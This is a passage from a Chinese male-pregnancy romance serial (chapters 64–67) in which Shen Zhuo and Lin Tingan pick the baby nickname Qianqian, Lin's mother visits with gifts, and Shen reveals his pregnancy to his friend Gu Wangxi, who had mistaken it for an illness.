“我……我以后都不会了。” 沈茁感觉自己的心脏仿佛被一根长触手猛地攥了一下,没有语言能形容出他此时的心情。 他眼尾的红逐渐加重。 想哭,眼泪却被蜜一般的甜压了下去。 “如果我不喜欢你,我有千万种方法可以去父留子。” 林庭安把血淋淋的现实提到明面,主动刨开一道口子,露出了内里的不堪。 “你知道的,你应该见过很多这样的例子,养一个孩子并不算什么难事,就算没有母亲也没关系,足够有钱就好了。” 这几句话听得沈茁心惊肉跳,听得他眼神都开始涣散。 的确,对于这些世家子弟,一个孩子算什么,孩子的生母又算什么? 林庭安说的这些,不正是他最开始担心的吗? “但是你不一样,”林庭安调转话锋,语气也跟着柔和下来,“我珍视我们这段缘分,不仅是因为孩子。” 他说:“别再瞎想了,我已经完完全全把你当做了我的人。” “你,和肚子里的孩子,都属于我。” 短短几句交心的话,仿若巨石般砸碎了结冰了湖面。 沈茁大气都不敢喘,这些真诚的表白本应是甜蜜的,但他听了却大心底里有些发寒。 他从这些话里读出了强烈的占有欲。 沈茁从来不知道林庭安对自己竟然有这么浓重的感情。 惊讶,欢喜,毛骨悚然…… 诸多情绪反复变换叠加,最终的最终,沈茁感到了前所未有的平静。 他的呼吸逐渐平稳,抓着外套的手也放松下来。 靠在林庭安坚实的臂膀上,沈茁第一次觉得他找到了自己的依靠。 “我是属于你的,”他喃喃道,“我是属于你的。” 浓厚的归属感自心底升起,沈茁浮躁的心因为林庭安这几句话渐渐安稳下来。 “你是我的,我也是你的,”林庭安说,“我们是平等的,所以你可以尽情地展露自己的情绪,表达你的开心和不开心。” “因为在我眼里,你就算是无理取闹也是可爱的。” “我知道了,”沈茁眼眶湿润,重复地说:“我知道了。” 水汽氤氲在他澄澈的眸中,眼前模糊一片,心里的雾却散开了。 第65章 天仿若一瞬间就亮了。 窗外不时传来两道鸟鸣, 不客气地惊扰了屋内甜腻的温柔乡。 沈茁打了个哈气,用黏在一起的音调说:“我困了。” 他的语气很轻,如午夜轻柔的呓语,带着些许缱绻意味。 林庭安按着沈茁的头, 让他靠在自己怀里, “我抱你回去睡觉, 今天不去公司了,留在家里陪你。” “好, ”沈茁恬静地闭上眼, “那我们一起睡觉, 这次你要抱着我睡。” “当然,以后都抱着你睡。” 两人折腾了一晚,这一个回笼觉直接睡到了中午。 沈茁头一回比林庭安起得还早。 他按照一贯的流程,小猪拱白菜似的把林庭安拱醒。 林庭安大脑还没重启, 身体就先一步做出了反应。 他下意识扶住沈茁的手, 牵着他去上了个厕所。 洗漱完,两人一起吃了个午饭。 饭后, 沈茁兴冲冲把林庭安带到书房, 抽出书架上的字典, 朝林庭安使了个眼神。 “怪沉的,拿它做什么?” 林庭安接过字典,又重新放回到了书架上。 沈茁啧了声,气得直跺脚, 他指着那本有成年男人骨节厚的字典,哼唧着说:“我们还没给宝宝取名字呢!” “我们先给宝宝取个小名吧,”沈茁抱住林庭安的胳膊,边摇晃边说:“我不知道别人家的父母什么时候给孩子取名, 但是我现在想要取,可以吗?” “好啊,那就先取个小名。” 林庭安看着自己被抱住的手臂,心里一阵服帖。 怀孕之后沈茁身上时常散发着温热的气息,就像春末夏初一望无际的花海。 只要置身其中,等待那一股带着热气的暖风吹过,带来的便是无尽的惬意。 没有初春的寒凉也没有仲夏的酷暑,只有花香翻滚着清风的舒适感。 林庭安喜欢沈茁身上的热,尤其在秋天,这种喜欢便更为强烈。 除了肚子,沈茁全身的皮肤都是软的,跟他的人一样暖。 被这样柔软的人抱住,何尝不是一种享受。 林庭安抬手握住沈茁的腰身,“不用字典,咱们躺床上就能取。” “大白天的,我才不跟你上床呢。” 沈茁红着脸躲开林庭安的手,羞愤感让他全身的温度急速升高。 “那就去沙发,”不等沈茁开口,林庭安就带着人往门口走去,“阿姨煲了汤,你边喝边想。” “好吧。” 沈茁半推半就,顺着林庭安的力道走出了书房。 给宝宝取名这事并不是沈茁心血来潮,他老早就在想这件事。 他认为这是件大事,理应父母一起参与其中。 可林庭安总是不在家,沈茁怕耽误他工作就一直没提。 今天好不容易有大片的时间,沈茁当然要好好利用。 “要不就叫小蛋糕吧,”林庭安弯腰伏在沈茁肚子旁,“宝宝,你爸爸最爱吃小蛋糕了。” “你今天就叫巧克力榛子小蛋糕,明天叫甜橙香蕉船,后天可以叫抹茶乳酪巴斯克……” “你别玩了,我是认真要给宝宝取名字!” 沈茁嘴角抽搐,气得他直接扑过去在林庭安头上一通乱揉,泄愤般低吼:“我要把你弄成蜂窝头!” “好好好,我不玩了,不玩了。” 林庭安任由沈茁搞乱自己的头发,待沈茁消完气收了手,他反将沈茁一军,抬手在他微长的发顶来了一下。 这下沈茁也变成了蜂窝头。 两个蜂窝头闹够了,冷静下来窝在沙发上讨论小蜂窝头的名字。 沈茁主动打开话茬,问林庭安:“你知道我为什么叫现在这个名字吗?” “是茁壮成长的意思?”林庭安猜道。 “或许是吧,”沈茁边回忆往事,边笑着解释:“我爸妈都是小学没毕业就辍学务农了,他们没什么文化,对我也没什么期待。” “他们只知道村里人都说要给小孩取贱名,说是贱名好养活。” 叹了口气,沈茁无奈道:“可他们不知道人家说取贱名说的是小名,我父母听了个囫囵,没用三秒就定下了我的大名,叫沈拙。” “笨拙的拙。” 沈茁语调平稳,就像在分享陌生人的故事一样,潺潺流水般讲述着自己的经历。 “其实他们还想了个名叫沈怨,去上户口时登记处的工作人员问他们孩子的姓名,他们犹豫了两秒还是决定叫沈拙。” “工作人员反复确认才知道是笨拙的‘拙’,临到了打字的时候那个阿姨没忍心,擅自换了个同音不同字的‘茁’。” “要说是美好祝福,大概也是那个素未谋面的阿姨对我祝福。” “你呢,你为什么叫现在这个名字呀?”沈茁问。 提到往事,他心里平静如水,早已没了悲伤的情绪。 现如今他有爱自己的丈夫,有没出世的孩子,还有即将到来的留学生活。 这一切都那么美好,好到让他分不出精力给过往的苦痛。 人只有在现生不幸福时才会怀念过去,才会陷在回忆里无法自拔。 “都忘了吧,”林庭安大手一捞将沈茁紧紧抱进怀里,没立刻回答他的问题,只是沉声安抚:“往后一切有我。” “我知道,我有你,你也有我,我早就不在乎这些了。” “而且我也不是自夸,我觉得自己真的做到了茁壮成长,”沈茁眼中含笑,“就像石头缝里挤出来的草一样,管你是烈日还是严寒,小草就算头顶硬石块也要冒个尖出来!” “有志气,”林庭安鼓励性地吻了下沈茁的唇,“你比小草顽强多了,要我说,你比西北的白杨还坚韧。” 虽然沈茁自己心里也是这么想的,但冷不丁被人这么直白地夸赞,他反而开始害羞了。 “我都分享完自己的名字了,该你分享你的了,”沈茁盯着比苹果还红的脸,推了林庭安一下,“你为什么叫这个名字呀?” “其实我第一次听你的名字就觉得很诗意,只是跟你的性格有点不太像。” 沈茁仰起头,作思考状,“你就像大漠里带队的头狼,武力值爆表,智商也很高。” “本以为名字会非常霸气,没想到听起来倒像个文质彬彬的诗人。” “你这是夸我呢,还是损我呢?”林庭安失笑,“不过你分析得倒也没错。” “我这名儿是我爷爷给我取的,老爷子眼尖,我刚出生他就断定我以后是个淘气的。” “他怕取个霸气的名字助长我顽劣的气焰,就随手翻了本诗集,给我取了这么个名字。” “闲庭信步,安家定舍,”林庭安摸摸下巴,挑眉道:“这么看老爷子还挺有先见之明,真把我这股戾气给压下去了。” “那可完蛋啦!” 沈茁捧着肚子,哭唧唧道:“我肚子里这个也是个调皮鬼,每天不踢我一下不罢休。” 他仰头望向林庭安,“要不咱们也翻翻诗集,给宝宝起一个温和点的小名。” “哪里用得着翻诗集,”林庭安想也没想,直言:“不如就叫谦谦,或者我现在给老爷子打个电话让他给起一个。” 谦谦? 这名字虽然有些白话,但读起来倒是不错,一听就很谦虚。 “那就叫谦谦吧。” 沈茁心想,男孩女孩都合适。 于是,谦谦小朋友的小名就这样被他爸爸爹爹聊着天定了下来。 了却一桩心事,沈茁心情大好。 他亲了林庭安一口,起身跑到卧室把充满电的iPad拿了过来。 自然的躺在林庭安腿上玩起了游戏。 电视照常开着声,林庭安没看手机也没处理工作,就这么静静给沈茁充当人型枕头,在一旁看着他玩。 * 唐卿上午出差回来,下午就急匆匆下楼开车,打算去看沈茁。 她这几天心里总是惦记自己的孙子。 看林庭安那意思是打算后半辈子都要跟沈茁过了,唐卿这几天也想明白了,她不能得了便宜还卖乖。 从前盼着能有个孙子,现在孙子有了她又盼着儿子能正常找个女人结婚,至少面上好看。 可谁叫她生了个犟种,这犟种还是个同性恋呢! 唐卿属实无奈,决定退让一步,只要孩子平平安安生下来,她就不再插手林庭安结婚的事。 沈茁这小孩除了性别不对,其他地方哪哪都好。 性子软,懂礼貌,为人处世样样叫人服帖。 现在他肚子里还有林家的长孙,唐卿就是再怎么样,也不会在这个节骨眼上生出别的事来。 这次她是诚心想来看看沈茁,打算坐下来好好跟沈茁说说心里话。 她不仅带了许多补品,还给孩子准备了小衣服小玩具。 只是唐卿千算万全,没算到林庭安也在家,直到上了楼推开房门才傻了眼。 “诶呦,这怀着孕怎么能这么躺着呢!” 她放下手里的东西,小跑过去把沈茁扶了起来,“这平板也要少看,看坏了眼睛不说,多多少少对孩子不好。” “庭安,你怎么搞的,你不去公司也就算了,怎么也不提醒小沈,他不能仰面躺,侧躺才是最好的。” “妈,您怎么来了?” 林庭安满面疑惑,看来今天下午不能过二人世界了。 沈茁更是一惊,他慌忙坐起身,做错事的孩子般低下了头,耐着性子听唐卿训话。 “我再不来你们准得惹出点事来!” 明明说好了要来跟沈茁亲近亲近的,可一看到这小孩不知轻重的样子唐卿就气不打一处来。 现在整个家里最宝贵的就是沈茁肚子里那块宝,怎么这小两口就是不知道小心呢! “妈,我以后会注意的。” 沈茁早就适应了唐卿这样的反应,他沉静下来,拉着唐卿在自己身边坐下,“妈,您别担心,我刚躺了一小会儿不碍事的。” 见唐卿脸色不好,沈茁迎着笑脸,主动提起了刚刚两人给孩子取名的事。 “我和庭安刚才给宝宝想了个小名,叫谦谦,您觉得怎么样?” 说完,沈茁朝林庭安使了个眼色。 林庭安会意,顺着他的话说:“妈,我们决定孩子小名就叫谦谦了,大名等谦谦出生之后再定。” “谦谦,谦谦,”唐卿反复读了两声,面上终于恢复了些颜色,“这名字好,谦逊有礼,是我们林家长孙该有的样子。” 被沈茁这么一哄,唐卿逐渐冷静下来,心里那股邪火也散了去。 她叫阿姨把门口的东西拿过来,简单介绍了一下给沈茁带的补品。 而后打开其中几个精美的包装袋,拿出了里面的衣服。 “这些都是我给孩谦谦准备的,”一提到孩子,唐卿脸上的阴霾顺间被笑容取代,“你看这些小背心和连体衣我挑的都是上好的料子。” “小孩皮肤薄,你们买衣服也要注意。” “我听说你们打算搬到南边的别墅区住,建群给谦谦买了几个小孩能开着玩的小汽车,到时候让人一并拿过去。” “妈,这些我们自己会准备,您不用跟着费心。” 林庭安拍拍沈茁的手背,对唐卿说:“您的心意我们收下了,只是到时候搬家不好拿,这些东西不如等孩子生下来再买。” “我这叫打好提前量。” 唐卿沉浸在自己的世界里,怎看手里的衣服怎么得劲。 她摆弄了一会儿,又拿出给孩子买的小玩具,塞了一个到沈茁怀里。 “还有这些,变形金刚,可以遥控爬墙的小赛车,”唐卿笑吟吟道,“这些庭安小时候可喜欢玩了。” 沈茁若有所思看着手上的黄色小车,硬扯出一抹笑,“谢谢妈,玩具很可爱。” 唐卿这次过来只坐了不到一个小时。 介绍完带来的东西,她慈爱地对着沈茁的肚子跟谦谦说了几句话,就找个借口回了家。 林庭安把她送到楼下,看着自己母亲把车开走才上楼。 他一进门,就见沈茁正在翻看地上那堆衣服玩具。 “我妈她也是喜欢谦谦,你要是不喜欢这些到时候就放在储物间,咱们另买些别的玩具给谦谦玩。” “我不是这个意思。”沈茁摇摇头。 他看看右手的衣服,又看看左手的玩具。 怎么衣服都是蓝色的,玩具都是变形金刚和小汽车呢? 难道大家都默认谦谦是男孩了吗? 第66章 心里虽然是这么想的, 但沈到底没真的把心里话说出来。 上次在商场里,他不是没隐晦地跟林庭安提起过,林庭安当时也做出了解释。 如果现在他再问起这事,倒像是在无理取闹了。 不得不说唐卿保养得很好, 现如今依旧貌美的脸上看不出任何岁月留下的痕迹没。 可说到底她到了这个年龄, 想要抱孙子也无可厚非。 沈茁把心绪团成团, 咽进了肚子里,当做烟消云散, 就此作罢。 在书房跟林庭安的夜谈, 让他惴惴不安的心找到了归宿, 沈茁不想平添是非。 现在虽然白日里他还是时有烦闷,但心中那股郁气却不似往常那么难以消磨了。 这天,沈茁坐在手工室钩娃娃。 林庭安形象的娃娃他已经钩完了,现在正在做自己形象的娃娃。 孰能手巧, 沈茁慢慢把这门手艺捡了起来, 织东西的动作比最开始快许多。 他坐在舒服的沙发椅上,专注手上的动作, 几乎感受不到时间的飞逝。 约莫快到了中午, 沈茁心满意足端详了一会儿自己的娃娃头。 然后伸了个懒腰打算出去吃中饭, 却在经过窗边时听到楼下传来了几道刺耳的争吵声。 刻在骨子里的八卦基因让沈茁停下脚步,他转了个弯打开窗户,探出半个脑袋看热闹。 楼下人工湖旁有个仿古的水榭,水榭里好像有几个人在争执。 沈茁紧握着窗户边框, 又向前探了几分,可再怎么努力也只能依稀看清水榭人的大概样貌。 林庭安住的是高档小区,楼下虽然运动设施完善,但很少有人会使用户外的运动仪器。 小区里一年四季都很安静, 沈茁下楼散步的时候都鲜少能遇到跟他一样出来闲逛的人。 他也曾问过林庭安,有钱人不是都很喜欢锻炼健身的吗,怎么小区里的器材还跟新的一样? 林庭安笑而不语,半晌敲了一下沈茁的头,解释说小区里有好几家大型健身房不需要到外面健身。 而且住在这里的人非富即贵,除了一些年轻有为的富家子弟和创一代,还有很多明星艺人。 都是被媒体盯着的人物,谁敢大咧咧地在小区里健身。 一不小心被拍到,不用等到第二天,当天就得登上新闻热搜。 沈茁心下了然,从此出门散步都把自己裹得紧紧的,生怕被蹲守明星花边新闻的狗仔给拍进去。 果不其然,不到两分钟的时间,水榭周围就涌上了许多人。 那些人有男有女,穿着打扮各不相同,唯一的相似点就是他们手上都拿着炮筒似的摄像头。 沈茁有种预感,他正在吃一个史无前例的大瓜! 默默从口袋里掏出手机,沈茁点开那个圆滚滚的大眼图标,不停刷新热搜词条。 他看着楼下连续剧一样的画面,感觉自己仿若身处上帝视角。 如果世界上真的有造世主,那么他每天观察自己造出来的小人时大概就是这种感觉吧。 沈茁吧唧吧唧嘴,突然想到了什么。 他眼睛一亮,蹦蹦跶跶跑到厨房给自己洗了两个大苹果,又小跑着回到窗边。 用纸巾擦掉苹果上的水渍,沈茁一口咬下去。 清甜的汁。水在口腔里爆开,他不由感叹,吃瓜真幸福,生活真美好。 全神贯注地看了一会儿,沈茁靠自己脑补把这口瓜猜了个大概。 水榭里好像是两个年轻漂亮的女人,不出意外的话,这又是一出原配打小三的戏码。 这两个人里肯定有一个是公众人物,不然怎么会涌出这么多媒体工作者过来抢拍。 楼下的声音越来越大,大概是吵到了小区的户主被人投诉给了物业。 沈茁瞧见不远处跑来了一队保安,个个都是一米八几的大高个,身上穿着规整的制服,身材更是个顶个的好,一看就不是花架子。 又咬了一口苹果,只见带队的保安首先冲到了前面,鱼跃龙门似的硬挤进了水榭里。 他张开手臂挡住了那群暴动的记者。 后面的保安紧随其后,分工明确。 一个进到水榭里制止正在撕扯的女人,另外的则边呵斥那些狗仔和记者,边甩出伸缩棍步步将他们逼退。 沈茁感觉自己仿佛在看一场刺激的警匪片,他看电视剧都没有这么认真过。 视线紧紧跟随着水榭里那个看起来最帅的保安,沈茁扶着窗框,伸长脖子去看。 那保安估计是个练家子,他用了个巧劲,几乎没跟两个女士有任何身体接触,就将她们二人给分开了。 沈茁跟着松了口气,可下一秒,他就看到那个保安被左边头发凌乱衣衫不整的女人狠狠推了一下。 怕得罪业主,保安不敢出手反抗,眼瞧就要掉进湖里。 沈茁的心猛地提了起来,脑袋和身体俱是一晃,差点没一头栽出窗外。 下一秒,他感觉肩膀被人死死攥了住,一股力量用力将他向后拉去。 沈茁向后踉跄了几步,后背猛地撞上一堵肉墙。 紧跟着,窗户被人狠狠关上,握在手里的手机发出了叮的一声。 是手机页面刷新成功的声音。 林庭安捏着沈茁的手腕抬高,就着他的手看向手机屏幕,“吃瓜小王:当红小花做三被打,《玲珑戏》或难上映。” “老……老公,你怎么中午就回来了?” 沈茁的心几乎要跳出来,他机械地转身,讪笑着望向林庭安,“我……我去给你洗个瓜吃!” 说完,沈茁抬腿就跑。 林庭安面无表情揪住他的衣领,冷冷道:“小沈同学,刚才有多危险你知道吗?” 三分钟后,窗户关得严严实实,房门也紧闭着。 沈茁灰溜溜站在桌前,看着椅子上表情比审讯官还要严肃的林庭安。 他简单解释了一下自己的吃瓜历程,试图用可怜的星星眼求得原谅,“我真的不是故意的,我一直抓着窗户呢,就算你刚才不扶我,我也不会掉下去。” 林庭安鹰隼般凌厉的眼神射。向沈茁,“你还敢提,什么瓜这么好吃,谦谦都快被吓成兼兼了!” 沈茁满头雾水,什么叫被吓成尖尖了? 见林庭安并没有真的动怒,他磨蹭着走过去,呲溜坐到了林庭安腿上。 问出了心里的疑问:“谦谦怎么就变成尖尖了呢?谦谦好着呢!” 林庭安嗤笑,“谦谦被吓得说不出话,不就成了兼兼?” 沈茁:…… 原来他老公还有说冷笑话天赋。 “吃瓜看热闹是人类本性,”沈茁闷声道,“我在家这么无聊,看看怎么啦,我没下去现场吃瓜就不错了。” “你还想下去看?”林庭安提高音量,照着沈茁屁股就是一下,“下面那群人推推搡搡的,撞到你怎么办?” “所以我才没下去嘛。” 沈茁软绵绵地抱住林庭安的腰,哄他:“肚子里有谦谦这个调皮鬼,我处处都小心谨慎,不会拎不清的。” “我不是怪你,”林庭安动了动嘴唇,欲言又止,“算了,不是你的错。” “今天公司没什么事,我就提前回来了,”他心有余悸地亲了下沈茁的脸,“给你买了好吃的,就在餐桌上,出去吃吧。” “老公,你真好。” 沈茁眼睛一亮,捧住林庭安的脸黏糊糊亲了几下,小企鹅一样腾腾腾跑了出去。 晚上,夜幕降临。 沈茁坐在床上看手机,发现中午那条热搜早就没了踪迹。 他翻遍了所有的浏览记录,去搜索这个词条,显示的都是一片空白,就好像这个热搜从来没出现过一样。 这就是资本的力量吗,沈茁不由感叹,住在高档小区就是好,还能吃到别人吃不到的瓜。 放下手机,他听着卫生间传来的水声,心绪逐渐飘远。 一整天下来,虽然林庭安嘴上说着没什么,但沈茁还是感觉他的状态有些不对。 这个男人虽面冷,但心里是热乎的,在家里很少有冷脸的时候。 但是今天,沈茁明显感觉到了林庭安的心不在焉。 比如晚饭时他喊了好几声“老公”林庭安都没反应,足足两分钟这个男人才回过神来。 吃完饭,两人一起站在洗漱台前刷牙。 沈茁突然想上厕所,因为嘴里塞满了泡沫说不出话,他拽了林庭安好几下都没得到回应。 诸如此类的情况,在短短半天的时间里发生了很多次。 沈茁现在回想,才惊觉这个向来精力充沛的男人今天异常奇怪。 这种诡异感对于他来说,不亚于看到鲨鱼在海面骑自行车。 沈茁是个心里憋不住事的,不等林庭安洗完澡他就等在了卫生间门口。 待人一出来,他就急吼吼抓着林庭安上了床。 “你怎么了?” 沈茁用自己能做到的最轻柔的声音说:“老公,你生我的气了吗?我白天真的不是故意的,如果你不喜欢的话,我以后都不会再那样了。” 他捧住林庭安的手,放在自己的肚子上,“谦谦也在说,他不希望爹爹生爸爸的气,谦谦也伤心呢。” 林庭安刚洗完澡,头发吹了个半干,刘海湿哒哒趴在额头,遮去了他身上大半戾气。 看着沈茁急红了的眼睛,还有他皱巴巴的小脸,林庭安长叹口气,抬手抚开了沈茁拧成一团的眉头。 “我只是在想,你一个人在家确实无聊,可我又想不出办法来缓解你的枯燥乏味。” 他垂眸望向沈茁凸起的小腹,“我只能作出一些不痛不痒的承诺,许诺等你生产过后就带你出国、带你旅游。” “我们一起去冲浪去滑雪,去看辽阔无际的草原,跟当地人一起围在篝火旁唱歌跳舞。” “除了这些,我不知道该怎么样才能让你好受一点。” 林庭安额头青筋凸起,他抓住沈茁的手放在唇边反复亲吻。 “我记得你之前提到过你有个很要好的朋友,不如把他叫过来陪你,费用都由我来承担。” “我的朋友?” 沈茁一时没反应过来,想了许久才惊呼:“你是说孟也吗?” 他本就被林庭安看似自责实际满是关心的言语砸得晕晕乎乎,幸福感几乎要将他整个人淹没。 现如今又听林庭安这般替自己考虑,沈茁眼底的笑意愈发难以抑制。 他伸出两根手指,戳在了男人的嘴角。 微微用力向上推扯,林庭安民成直线的嘴唇立刻有了弧度。 “谢谢你关心我,”沈茁亮晶晶的眼睛弯成了月牙,“不过孟哥正在国外度假呢,我不想打扰他。” 提到孟也,沈茁的话匣子一下子打开了。 他舒舒服服窝进林庭安怀里,枕着他的肩说:“这是我最好的朋友,谦谦的干爹预备役。” “他是个性格很好的人,当初我怀孩子走投无路,多亏了孟哥收留我。” “我记得我之前跟你说过,”沈茁抓住林庭安修长的手指,边玩边说:“现在他家的钥匙还在我手里呢。” 林庭安抚摸着沈茁毛茸茸的头发,眼睛一动不动盯着古檀色的床柱。 思索片刻他缓缓开口:“前些天我在一个晚宴上遇到了顾望西,他说跟你相处得很好,还问我能不能过来看你。” “然后呢?”沈茁问。 “然后……” 林庭安似笑非笑看着沈茁的眼睛,缄默不语。 沈茁愣了下,很快就读懂了林庭安没说出口的话。 自从上次在家里见了一面,他和顾望西就一直在手机上保持着联系。 最开始,顾望西时不时会发一些心灵鸡汤过来,搞得沈茁一头雾水,只能忍着尴尬回复,假装自己被激励到了。 后来有一天,顾望西突然拨了个语音过来道歉。 电话里他叽里咕噜说了一堆,沈茁也没怎么太听懂。 总之,那天之后顾望西就再也没发过心灵鸡汤过来。 他有事没事会给沈茁转发一些搞笑视频,沈茁看到了就会回复他。 久而久之,沈茁自己刷到有意思的东西也会给顾望西发过去。 两人的友情就这么莫名其妙建立了起来。 林庭安突然在这时候提起顾望西,无非是想说既然孟也不能回来,那就让顾望西来家里玩一玩。 有个人能陪在身边聊天说话,总比一个人在家闷着里强。 “可是我的肚子都这么大了,”沈茁拍拍自己的肚子,哀叹道:“顾望西一来,谦谦这个芝麻馅不就露出来了?” “所以我才要问你,”林庭安抬手在沈茁脸上掐了下,“交真朋友不就是要用真心。” “你在京都没有相熟的人,顾望西这人心肠不坏,你们又年龄相仿,如果能成为朋友倒是个不错的选择。” 顾望西何止是心肠不坏,沈茁想,他简直就是个持续发光发热的小太阳。 如果能跟顾望西成为好朋友的话…… 沈茁动了心思,试探着说:“那我要怎么邀请他过来呢?” “你自己的朋友当然要你自己交。” 林庭安有意引导沈茁迈出龟缩的壳,打开自己的心去社交。 但这并不代表他会像教导牙牙学语小孩一样,一步一步地去教沈茁要怎么做。 沈茁自己的人生,当然要他自己去走。 “好吧。” 沈茁看着自己的肚子,第一次由衷地感叹,孩子果然是父母的牵绊。 “睡吧。”林庭安关了灯,在后面拥住沈茁,“晚安。” “晚安。” 沈茁烦闷地闭上眼,心情万分复杂。 顾望西跟孟也一样,是很适合做朋友的人。 虽然两人只见过一面,大多数时间都是在手机上聊天,但沈茁能强烈地感受到顾望西的真诚。 他性格开朗阳光,跟沈茁一样都是个心里藏不住事的。 今晚是京都许久没出现过的月圆之夜。 大片月光洒进屋内,照映着沈茁面朝窗户的脸。 一番纠结后,他缓缓睁开了眼睛。 拿起枕边的手机,给顾望西发了条消息:【顾哥,你明天有事吗?】 发完,沈茁突然觉得这么说语气太生硬,立刻又撤了回去。 没成想,他前脚刚撤回发出的消息,后脚顾望西就扔过来了一个表情包:【[啥事找哥.jpg]】 沈茁惊了下,手一抖手机差点没掉下床。 顾望西:【什么东西撤回去了,我都看见了,为什么突然撤回?[看着我的眼睛.jpg]】 沈茁:【顾哥,你怎么还没睡呀?】 他看了眼时间,这都凌晨一点了,顾望西竟然还没睡觉。 顾望西:【年轻人这么早睡什么觉,睡美容觉吗?】 沈茁:【……】 他摸摸下巴,想到自己这几天都是不到十点就睡了。 难道他已经脱离年轻人的大部队了? 顾望西:【我明天没事,怎么,要约我出去玩吗?刚好明天是周六,我本来打算跟同学去攀岩的。】 【不过如果是你邀请我的话,那我就陪你去玩吧,你想去哪玩?】 沈茁没想到顾望西这么爽快就答应了,他深呼口气,回道:【我现在不太方便出门。】 顾望西:【怎么了?你生病了?怎么不告诉我呢!】 不等沈茁回复,对面又来了条消息:【诶呀你怎么这么不小心,我明天去看你,先不说了,这边有人叫我。】 【你自己注意身体,明天给你带补品。】 沈茁:…… 好像被误会了。 不过怀孕虽然不是生病,该遭的罪可是一点没少。 这么算下来他也不是在骗人。 关掉手机,沈茁面带笑容重新闭上了眼。 原来交朋友也没有那么难呀。 第67章 很长一段时间, 沈茁的世界里都只有林庭安和王秋梅这两个鲜活的人。 约顾望西来家里做客,是他鼓足了勇气做的决定。 或许是因为兴奋,又或许是因为紧张,沈茁这一觉睡的并不安稳。 虽然没做什么稀奇古怪的梦, 但翌日天还没亮他就醒了。 跟林庭安一起吃完早餐, 送他出了门, 沈茁就开始研究要准备点什么接待顾望西。 现在天气冷,早晨霜露又重, 应该喝点热的。 说干就干, 他立刻去厨房热了一杯牛奶, 怕牛奶凉掉又将热牛奶倒进了恒温壶保持温度。 热完牛奶沈茁回房换了件得体的衣服,然后就一直坐在沙发上等人。 他呆坐着,连电视都没看声音,一直在心里打腹稿要怎么跟顾望西说孩子的事。 早上六点天灰蒙蒙一片, 到了九点依旧如此, 甚至更暗了些。 今天是个阴天。 沈茁看了眼时间,想到凌晨一点顾望西还没睡觉, 估计现在还没睡醒呢。 他呼出口气, 自嘲自己精神太过紧绷。 明明是个轻松的事情, 怎么反而搞得如此紧张。 又等了一会,窗外似有下雨的迹象。 沈茁给顾望西发了条消息,叮嘱他别忘了带伞,放下手机后他直奔厨房, 盯着乳白色的冒着热气的牛奶开始思考。 顾望西是个有性格的人,喜欢追求刺激的事物,这样的人应该不会喜欢喝牛奶。 沈茁在冰箱翻找了一会儿,拿了几个小青柑和新鲜柠檬出来。 征得林庭安的同意, 他又去家里的恒温酒柜拿了几瓶不怎么烈的酒。 房门被敲响时,沈茁已经调了好几杯酒,排成一排摆在了茶几上。 顾望西像是跑来的,他穿了件藏蓝色的卫衣,下身是宽松的牛仔裤和纯白运动鞋,气喘吁吁地推开了门。 “对不起对不起,我本来十点就能到的,结果路上堵车硬是堵了两个小时,我家的司机就跟听不懂人话似的,我叫他早点来接我,结果他竟然起来晚了!” “你敢信,我家司机起的还没有我早,赶明儿就给他辞退了!” 顾望西进了屋,边摘包边跟沈茁吐槽遇到的糟心事。 给顾望西准备的新拖鞋早就放在了门口,他甩掉脚上的运动鞋自然地换上拖鞋就往屋里走。 刚一抬头,就见沈茁身体绷直表情肃穆,正拘谨地站在门口看着自己。 顾望西愣了下,怎么感觉气氛这么诡异呢? 天知道沈茁现在有多紧张,就在开门的前一秒他刚给自己套了件厚重的毛马甲,本以为可以遮住肚子。 但效果恰恰适得其反,他的肚子被亚麻棕的毛马甲衬托得更明显了! 嘴唇抿成一条直线,沈茁弓着背脑中不断回想自己打好的腹稿。 “顾哥,我……” “我的天,你怎么没告诉我你病得这么严重了!” 顾望西瞪大眼睛,扔掉手里的东西直奔到沈茁身边。 他不可置信地长大了嘴,眼睛瞬间变得通红,不消片刻里面就蓄满了泪水。 “这是腹水吗?” 顾望西伸手想要触碰沈茁的肚子,却在手指即将碰到沈茁衣服时来了个急刹车。 “是……是肝硬化,还是肿瘤?” 顾望西眨巴几下眼睛,滚烫的热泪就急速从脸上滑了下来。 “没关系的,就算是肿瘤也没关系,”他抬起手下定决心般擦掉脸上的泪,“哥家里有钱,哥给你治!” “不是的,顾哥,你误会……” “什么都别说了,你别站着了,快去坐。” 沈茁刚要开口,就被顾望西小心搀扶着坐到了沙发上。 “哥家里有钱,给你请最好的医生治!” 顾望西拉着沈茁的手,眼泪啪嗒啪嗒地掉,他郑重地问:“告诉哥,到底是啥病,嗯?” 不对呀,这个走向很不对! 沈茁脑袋发懵,忙摆手说:“顾哥,你听说我,我这个肚子不是……” “这是你要喝的药吗?” 顾望西看向桌上那一长排特调酒,满面震惊,“沈茁,你也太辛苦了,每天要喝这么多药。” 他端起其中一杯,放在鼻下闻了闻,“好重的酒精味,沈茁,这是内用的还是外涂的,要不要我帮你涂?” 说着,顾望西悲从中来,他面如死灰掩面而泣,那样子就好像沈茁马上就要死掉一样。 沈茁见顾望西把他特意调制的酒当做了药酒,没忍住噗嗤笑了出来。 “你还笑!” 顾望西的火气蹭蹭网上冒,不过很快他的火就消了,“算了,才几个月不见你都这样了,笑就笑吧,如果你想笑的话,那就笑吧!” 沈茁笑得更大声了。 “沈茁,你……”顾望西握紧拳头,“算了算了,我这就联系我表哥,让他给你安排住院。” “不过我表哥这医院也不一定靠谱,我那英俊帅气的阳。痿前男友他就没治好。” 沈茁:……? “顾哥,你听我说呀,”他按住顾望西拨电话的手,“我肚子里的不是腹水,我也没有得病。” “你就别骗我了,这么大的肚子,不是腹水还能是什么?” 顾望西拂开沈茁的手,恨铁不成钢道:“有病咱就治,就算你不想用我的钱,那就用林庭安的,反正你俩都在一起了,他总不会不给你治病吧。” 说完,他打开电话簿,眼看这一通乌龙电话就要拨过去。 沈茁一咬牙,高声道:“我怀孕了!” …… 顾望西呆若木鸡僵在原地,手上的电话响了一声,他机械地抬起手按下了挂断键。 “你说……什么?” “我,我怀孕了,”沈茁小声嗫喏:“顾哥,我说我不方便出门,就是因为这个,我肚子大了现在不能经常出门。” 他低着头不敢看顾望西的眼睛,心跳声比古时战场上的击鼓声还要大。 沈茁是怕的,他害怕顾望西不能接受这样的他,害怕自己被当做异类,害怕许多许多。 顾望西沉默了,这样的沉默对沈茁来说无异于凌迟。 过了不知多久,沈茁的心逐渐沉到谷底,他抬头望向顾望西的眼睛。 刚要开口,就听顾望西哀嚎道:“沈茁,你欺骗我的感情!” 